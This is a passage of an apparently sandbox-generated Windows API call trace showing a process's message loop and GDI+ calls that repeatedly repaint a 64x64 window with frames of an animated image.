hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0134.701] GetCurrentThreadId () returned 0xec0 [0134.701] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0134.702] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.702] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.702] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.702] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.702] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.702] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0134.702] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0134.702] CreateCompatibleDC (hdc=0x3010b83) returned 0x630107cb [0134.702] SelectObject (hdc=0x630107cb, h=0x1a05067e) returned 0x185000f [0134.702] GdipCreateFromHDC (hdc=0x630107cb, graphics=0x15daf0) returned 0x0 [0134.703] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0134.703] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0134.703] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0134.703] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0134.703] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0134.703] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.703] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0134.704] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.704] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.704] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0134.704] GdipCreateRegion (region=0x15dc20) returned 0x0 [0134.704] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0134.704] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0134.704] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0134.704] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.704] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.704] GetSystemMetrics (nIndex=42) returned 0 [0134.704] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.704] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.704] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.704] CoTaskMemFree (pv=0x1e7ac120) [0134.705] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0134.705] GdipCreateRegion (region=0x15d710) returned 0x0 [0134.705] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0134.705] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0134.705] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0134.705] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0134.705] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.705] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.705] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.705] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0134.706] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.706] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.706] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.706] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.706] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0134.706] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0134.707] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0134.707] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0134.707] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.707] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0134.707] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0134.707] GetCurrentObject (hdc=0x630107cb, type=0x1) returned 0x1b00017 [0134.707] GetCurrentObject (hdc=0x630107cb, type=0x2) returned 0x1900010 [0134.707] GetCurrentObject (hdc=0x630107cb, type=0x7) returned 0x1a05067e [0134.707] GetCurrentObject (hdc=0x630107cb, type=0x6) returned 0x18a002e [0134.707] SaveDC (hdc=0x630107cb) returned 1 [0134.707] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6d040b8a [0134.707] GetClipRgn (hdc=0x630107cb, hrgn=0x6d040b8a) returned 0 [0134.707] SelectClipRgn (hdc=0x630107cb, hrgn=0xffffffff9d0407c3) returned 2 [0134.708] DeleteObject (ho=0x6d040b8a) returned 1 [0134.708] DeleteObject (ho=0xffffffff9d0407c3) returned 1 [0134.708] OffsetViewportOrgEx (in: hdc=0x630107cb, x=0, y=0, lppt=0x27f8568 | out: lppt=0x27f8568) returned 1 [0134.708] GetNearestColor (hdc=0x630107cb, color=0xffffff) returned 0xffffff [0134.708] CreateSolidBrush (color=0xffffff) returned 0x75100190 [0134.708] FillRect (hDC=0x630107cb, lprc=0x15d7c0, hbr=0x75100190) returned 1 [0134.708] DeleteObject (ho=0x75100190) returned 1 [0134.708] RestoreDC (hdc=0x630107cb, nSavedDC=-1) returned 1 [0134.708] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.708] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x630107cb) returned 0x0 [0134.708] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcfc0dbd) returned 0x0 [0134.708] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.709] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0134.709] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.709] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.709] GetSystemMetrics (nIndex=42) returned 0 [0134.709] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.709] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.709] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.709] CoTaskMemFree (pv=0x1e7ac120) [0134.709] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0134.711] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0134.712] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0134.712] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0134.712] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0134.712] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x630107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0134.712] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.712] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x630107cb) returned 0x0 [0134.712] SelectObject (hdc=0x630107cb, h=0x185000f) returned 0x1a05067e [0134.712] DeleteDC (hdc=0x630107cb) returned 1 [0134.712] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.712] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0134.712] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0134.713] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0134.713] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.713] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.713] WaitMessage () returned 1 [0134.879] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.879] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.879] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.879] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.879] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.879] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0134.879] GetCurrentThreadId () returned 0xec0 [0134.879] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0134.879] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0134.879] IsWindowUnicode (hWnd=0x2031e) returned 1 [0134.879] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0134.880] TranslateMessage (lpMsg=0x15e910) returned 0 [0134.880] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0134.880] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0134.880] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0134.880] CreateCompatibleDC (hdc=0x3010b83) returned 0x640107cb [0134.880] SelectObject (hdc=0x640107cb, h=0x1a05067e) returned 0x185000f [0134.880] GdipCreateFromHDC (hdc=0x640107cb, graphics=0x15daf0) returned 0x0 [0134.880] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0134.880] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0134.880] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0134.880] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0134.880] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0134.880] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.881] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0134.881] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.881] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.881] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0134.881] GdipCreateRegion (region=0x15dc20) returned 0x0 [0134.881] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0134.882] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0134.882] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0134.882] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.882] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.882] GetSystemMetrics (nIndex=42) returned 0 [0134.882] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.882] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.882] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.882] CoTaskMemFree (pv=0x1e7ac120) [0134.882] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0134.882] GdipCreateRegion (region=0x15d710) returned 0x0 [0134.882] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0134.882] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0134.882] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0134.882] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0134.882] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.883] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.883] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.883] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0134.883] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0134.883] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0134.884] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0134.884] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.884] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0134.884] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0134.884] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0134.884] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0134.884] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.884] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0134.884] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0134.884] GetCurrentObject (hdc=0x640107cb, type=0x1) returned 0x1b00017 [0134.884] GetCurrentObject (hdc=0x640107cb, type=0x2) returned 0x1900010 [0134.884] GetCurrentObject (hdc=0x640107cb, type=0x7) returned 0x1a05067e [0134.884] GetCurrentObject (hdc=0x640107cb, type=0x6) returned 0x18a002e [0134.884] SaveDC (hdc=0x640107cb) returned 1 [0134.885] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff9e0407c3 [0134.885] GetClipRgn (hdc=0x640107cb, hrgn=0xffffffff9e0407c3) returned 0 [0134.885] SelectClipRgn (hdc=0x640107cb, hrgn=0x6e040b8a) returned 2 [0134.885] DeleteObject (ho=0xffffffff9e0407c3) returned 1 [0134.885] DeleteObject (ho=0x6e040b8a) returned 1 [0134.885] OffsetViewportOrgEx (in: hdc=0x640107cb, x=0, y=0, lppt=0x27f9870 | out: lppt=0x27f9870) returned 1 [0134.885] GetNearestColor (hdc=0x640107cb, color=0xffffff) returned 0xffffff [0134.885] CreateSolidBrush (color=0xffffff) returned 0x76100190 [0134.885] FillRect (hDC=0x640107cb, lprc=0x15d7c0, hbr=0x76100190) returned 1 [0134.885] DeleteObject (ho=0x76100190) returned 1 [0134.885] RestoreDC (hdc=0x640107cb, nSavedDC=-1) returned 1 [0134.885] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.885] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x640107cb) returned 0x0 [0134.885] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcfa0dbd) returned 0x0 [0134.886] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.886] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0134.886] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0134.886] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0134.886] GetSystemMetrics (nIndex=42) returned 0 [0134.886] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0134.886] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0134.886] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0134.886] CoTaskMemFree (pv=0x1e7ac120) [0134.886] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0134.886] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0134.886] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0134.886] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0134.886] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x640107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0134.887] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.887] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x640107cb) returned 0x0 [0134.887] SelectObject (hdc=0x640107cb, h=0x185000f) returned 0x1a05067e [0134.887] DeleteDC (hdc=0x640107cb) returned 1 [0134.887] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0134.887] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0134.887] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0134.887] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0134.887] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.887] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0134.887] WaitMessage () returned 1 [0135.069] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.069] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.069] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.069] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.069] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.078] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0135.078] GetCurrentThreadId () returned 0xec0 [0135.078] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0135.078] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.078] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.078] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.078] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.078] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.079] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0135.079] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0135.079] CreateCompatibleDC (hdc=0x3010b83) returned 0x680107cb [0135.079] SelectObject (hdc=0x680107cb, h=0x1a05067e) returned 0x185000f [0135.079] GdipCreateFromHDC (hdc=0x680107cb, graphics=0x15daf0) returned 0x0 [0135.079] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0135.079] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0135.079] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0135.079] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0135.080] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0135.080] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.080] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0135.080] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.080] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.080] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0135.080] GdipCreateRegion (region=0x15dc20) returned 0x0 [0135.081] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0135.081] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0135.081] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0135.081] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.081] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.081] GetSystemMetrics (nIndex=42) returned 0 [0135.081] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.081] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.081] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.081] CoTaskMemFree (pv=0x1e7ac120) [0135.081] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0135.081] GdipCreateRegion (region=0x15d710) returned 0x0 [0135.081] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0135.082] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0135.082] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0135.082] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0135.082] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.082] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.082] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.083] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0135.083] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.083] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.083] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.083] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.083] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0135.083] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0135.083] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0135.083] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0135.084] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.084] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0135.085] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0135.085] GetCurrentObject (hdc=0x680107cb, type=0x1) returned 0x1b00017 [0135.085] GetCurrentObject (hdc=0x680107cb, type=0x2) returned 0x1900010 [0135.085] GetCurrentObject (hdc=0x680107cb, type=0x7) returned 0x1a05067e [0135.085] GetCurrentObject (hdc=0x680107cb, type=0x6) returned 0x18a002e [0135.085] SaveDC (hdc=0x680107cb) returned 1 [0135.085] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6f040b8a [0135.085] GetClipRgn (hdc=0x680107cb, hrgn=0x6f040b8a) returned 0 [0135.085] SelectClipRgn (hdc=0x680107cb, hrgn=0xffffffff9f0407c3) returned 2 [0135.085] DeleteObject (ho=0x6f040b8a) returned 1 [0135.085] DeleteObject (ho=0xffffffff9f0407c3) returned 1 [0135.085] OffsetViewportOrgEx (in: hdc=0x680107cb, x=0, y=0, lppt=0x27fa1a8 | out: lppt=0x27fa1a8) returned 1 [0135.085] GetNearestColor (hdc=0x680107cb, color=0xffffff) returned 0xffffff [0135.086] CreateSolidBrush (color=0xffffff) returned 0x77100190 [0135.086] FillRect (hDC=0x680107cb, lprc=0x15d7c0, hbr=0x77100190) returned 1 [0135.086] DeleteObject (ho=0x77100190) returned 1 [0135.086] RestoreDC (hdc=0x680107cb, nSavedDC=-1) returned 1 [0135.086] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.086] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x680107cb) returned 0x0 [0135.086] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcf80dbd) returned 0x0 [0135.086] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.086] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0135.086] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.086] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.086] GetSystemMetrics (nIndex=42) returned 0 [0135.086] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.086] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.087] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.087] CoTaskMemFree (pv=0x1e7ac120) [0135.087] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0135.089] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0135.089] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0135.089] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0135.089] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0135.089] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x680107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0135.089] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.089] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x680107cb) returned 0x0 [0135.090] SelectObject (hdc=0x680107cb, h=0x185000f) returned 0x1a05067e [0135.090] DeleteDC (hdc=0x680107cb) returned 1 [0135.090] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.090] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0135.090] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0135.090] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0135.090] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.090] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.090] WaitMessage () returned 1 [0135.271] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.272] 